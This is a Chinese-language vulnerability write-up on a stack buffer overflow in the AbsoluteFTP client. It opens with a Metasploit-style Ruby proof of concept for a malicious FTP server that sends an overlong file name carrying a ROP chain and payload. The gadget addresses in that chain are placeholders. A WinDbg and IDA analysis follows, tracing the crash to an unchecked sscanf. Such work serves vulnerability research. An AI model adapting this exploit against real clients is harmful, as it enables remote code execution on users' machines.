AbsoluteFTP 远程代码执行漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载:
https://www.exploit-db.com/apps/62e00c0b27383d87f2e3fdbe09827725-aftp2210.exe

PoC:

  def on_client_command_list(c,arg)

        conn = establish_data_connection(c)
        if(not conn)
            c.put("425 Can't build data connection\r\n")
            return
        end

        print_status(" - Data connection set up")
        code = 150
        c.put("#{code} Here comes the directory listing.\r\n")

        code = 226
        c.put("#{code} Directory send ok.\r\n")

    rop_gadgets = 
        [        
            0x41414141,    # POP EAX # RETN (MFC42.DLL)
            0x41414141,    # <- *&VirtualProtect() 
            0x41414141,    # MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
            0x41414141,    # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
            0x41414141,    # NOPS (RETN 4)
            0x41414141,    # NOPS (-> ebx)
            0x41414141,    # POP EBP # RETN (MFC42.DLL)
            0x41414141,    # ptr to 'jmp esp' (from MFC42.DLL)
            0x41414141,    # POP EAX # RETN (MFC42.DLL)
            0x41414141,    # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
            0x41414141,    # NEG EAX # RETN (MFC42.DLL)
            0x41414141,    # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
            0x41414141,    # NOPS (-> edi)
            0x41414141,    # POP ECX # RETN (MFC42.DLL)
            0x41414141,    # RW pointer (lpOldProtect) (-> ecx) !!!
            0x41414141,    # POP EAX # RETN (MFC42.DLL)
            0x41414141,    # value to negate, target value : 0x00000040, target reg : edx
            0x41414141,    # NEG EAX # RETN (MFC42.DLL)
            0x41414141,    # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
            0x41414141,    # ROP NOP (-> edi)
            0x41414141,    # POP EAX # RETN (MFC42.DLL)
            0x41414141,    # NOPS (-> eax)
            0x41414141,    # PUSHAD # RETN (MFC42.DLL)
        ].pack("V*")


        buffer = [0x41414141].pack("V*")*848 #ROP NOP's                
        buffer << rop_gadgets
        buffer << "\x41"*30
        buffer << payload.encoded


        #copypasted from ScriptFTP exploit
        print_status(" - Sending directory list via data connection")
        dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
        dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
        dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

        conn.put(dirlist)
        conn.close
        return
    end

测试环境:
Windows xp sp3

调试软件:
windbg
IDA pro


漏洞分析


通过Client客户端访问,程序崩溃

(aac.ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=41414141 edx=0012edc4 esi=41414141 edi=00000001
eip=0049244e esp=0012ed8c ebp=77c11b72 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\AbsoluteFTP\AbsoluteFTP.EXE
AbsoluteFTP+0x9244e:
0049244e 8b8ea8000000    mov     ecx,dword ptr [esi+0A8h] ds:0023:414141e9=jQuery214006186173786409199_1445704390411??????

可以看到esi+0A8h指向了一个不可读的位置,esi已经被修改为了41414141,esi指向的是一处指针,我们需要知道这个指针为何被修改,才能找到漏洞触发的原因。
有两处跳转,我们在00492441的push esi处下断点,中断后单步执行,经过0049244e没有触发漏洞,按F5直接到达漏洞触发点,说明该漏洞经过jg short loc_49244e处直接跳转。
我们在函数入口00492430处下断点。第一次断点后直接F5,第二次到达时

0:000> g
Breakpoint 0 hit
eax=0012eda4 ebx=00000000 ecx=41414141 edx=0012edc4 esi=00c275c8 edi=00000001
eip=00492430 esp=0012ed90 ebp=77c11b72 iopl=0         nv up ei pl zr ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000257
AbsoluteFTP+0x92430:
00492430 8b442410        mov     eax,dword ptr [esp+10h] ss:0023:0012eda0=41414141

此时ecx的值已经被修改成了41414141,通过kb查看堆栈调用

:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ed8c 004534aa 41414141 0012eda4 0012edc4 AbsoluteFTP+0x92439
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AbsoluteFTP\MFC42.DLL - 
0012eda8 5f403844 00000e9b 00000000 40000000 AbsoluteFTP+0x534aa

反复调试回溯,回溯到函数中

signed int __cdecl sub_496C70(const char *Src, int a2, int a3, int a4)

当在该程序中执行流程到达00496e26位置的时候,执行了一个sscanf函数,此后esp+70位置被41覆盖,详细观察一下这个过程,当到达00496e26时

Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00000078 edx=00000004 esi=00c275a0 edi=00c46f1a
eip=00496e26 esp=0012edf8 ebp=77c11b72 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AbsoluteFTP+0x96e26:
00496e26 8d442448        lea     eax,[esp+48h]
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll - 
0:000> dd esp
0012edf8  00c2759c 00c27540 00beb150 00c24d7c
0012ee08  77ef6e1d 77ef6e3e cb0a06ae 0012eeb0
0012ee18  7877722d 72782d72 0000782d 00000000
0012ee28  00000000 77d3e929 cb0a06ae 00d8e9ec
0012ee38  00000000 0012ee78 62c231f7 b3010710
0012ee48  00000000 00000000 00000012 0012ef7c
0012ee58  00000000 00000000 00000000 0012ef7c
0012ee68  00010000 00000002 00000000 00000000

当执行完sscanf之后

0:000> p
eax=0012f840 ebx=00000000 ecx=0012f640 edx=0012ee10 esi=00c275a0 edi=00c46f1a
eip=00496e63 esp=0012edd0 ebp=77c11b72 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
AbsoluteFTP+0x96e63:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll - 
00496e63 ffd5            call    ebp {MSVCRT!sscanf (77c11b72)}
0:000> p
eax=00000008 ebx=00000000 ecx=77c14a84 edx=0012eda8 esi=00c275a0 edi=00c46f1a
eip=00496e65 esp=0012edd0 ebp=77c11b72 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
AbsoluteFTP+0x96e65:
00496e65 83c428          add     esp,28h
0:000> dd esp
0012edd0  00c46f1a 005745ec 0012f640 0012f840
0012ede0  0012ee10 0012f040 0012ee08 0012f440
0012edf0  0012f240 0012ee40 00c2759c 00c27540
0012ee00  00beb150 00c24d7c 0000001a 77ef6e3e
0012ee10  00000200 00000000 7877722d 72782d72
0012ee20  0000782d 00000000 00000000 77d3e929
0012ee30  cb0a06ae 00d8e9ec 00000000 0012ee78
0012ee40  41414141 41414141 41414141 41414141

可以看到该位置被覆盖,查看sscanf函数

sscanf(v4, "%*d %s %s %I64u %s %d%[ ]%s%*c%[^", &v66, &v68, &v39, &v62, &v37, &String, &Str, &Str1)

知道了漏洞发生的位置,我们具体看一下Src的值是何时传入的
0012ee40对应的位置是Str指针对应的值,这个值正好是该函数传入的第一个参数,接着回溯,到达sub_49C570函数,这个函数应该是该程序的接收函数,我们查看这个接收函数的接收部分

.text:0049C5BE                 call    ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)
.text:0049C5C3                 cmp     eax, 0FFFFFFFFh
.text:0049C5C6                 jnz     short loc_49C5FA
.text:0049C5C8                 call    ds:WSAGetLastError
.text:0049C5CE                 cmp     eax, 2733h
.text:0049C5D3                 jz      short loc_49C60E
.text:0049C5D5                 mov     ecx, [esp+1Ch+arg_0]
.text:0049C5D9                 push    0
.text:0049C5DB                 push    eax
.text:0049C5DC                 mov     eax, [esp+24h+arg_4]
.text:0049C5E0                 push    eax
.text:0049C5E1                 push    ecx
.text:0049C5E2                 mov     ecx, edi
.text:0049C5E4                 call    sub_49C3E0
.text:0049C5E9                 mov     eax, [edi+54h]

查看伪代码

 while ( 1 )
    {
      v6 = *(_DWORD *)(v4 + 80);
      *(_BYTE *)(v4 + 60) = 0;
      v7 = *(_DWORD *)(v6 + 16);
      v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 16))(v7);
      v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 20))(v7);
      v5 = CAsyncSocket__Receive(v4, v8, v9, a3 != 0);
      if ( v5 != -1 )
        break;
      result = WSAGetLastError();
      if ( result != 10035 )
      {
        sub_49C3E0(a2, a3, result, 0);
        result = *(_DWORD *)(v4 + 84);
        if ( result > 0 )
          continue;
      }
      return result;
    }

v4是接收到的数据,也就是漏洞触发时传入的Src,可以看到这里对接收到的数据没有进行长度检查,导致传入到sub_496C70函数时,发生了缓冲区溢出,导致漏洞的发生

Comments
Write a Comment